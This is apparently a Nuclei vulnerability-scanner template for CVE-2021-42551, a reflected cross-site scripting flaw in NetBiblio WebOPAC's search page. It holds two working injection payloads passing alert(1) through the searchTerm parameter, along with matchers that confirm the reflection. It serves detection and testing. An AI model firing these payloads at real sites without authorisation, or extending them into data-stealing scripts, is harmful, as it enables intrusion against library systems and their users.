id: CVE-2021-42551

info:
  name: NetBiblio WebOPAC - Reflected XSS
  author: compr00t
  severity: medium
  description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected Cross-Site Scripting vulnerability in its Wikipedia modul through /NetBiblio/search/shortview via the searchTerm parameter.
  reference:
    - https://www.redguard.ch/advisories/netbiblio_webopac.txt
    - https://www.cve.org/CVERecord?id=CVE-2021-42551
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-42551
    cwe-id: CWE-79
  tags: cve,cve2021,xss,netbiblio

requests:
  - method: GET
    path:
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'

    redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SearchTerm: 'x'+alert(1)+'x',"
          - "SearchTerm: 'x\\\\'+alert(1),//',"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "NetBiblio"

      - type: status
        status:
          - 200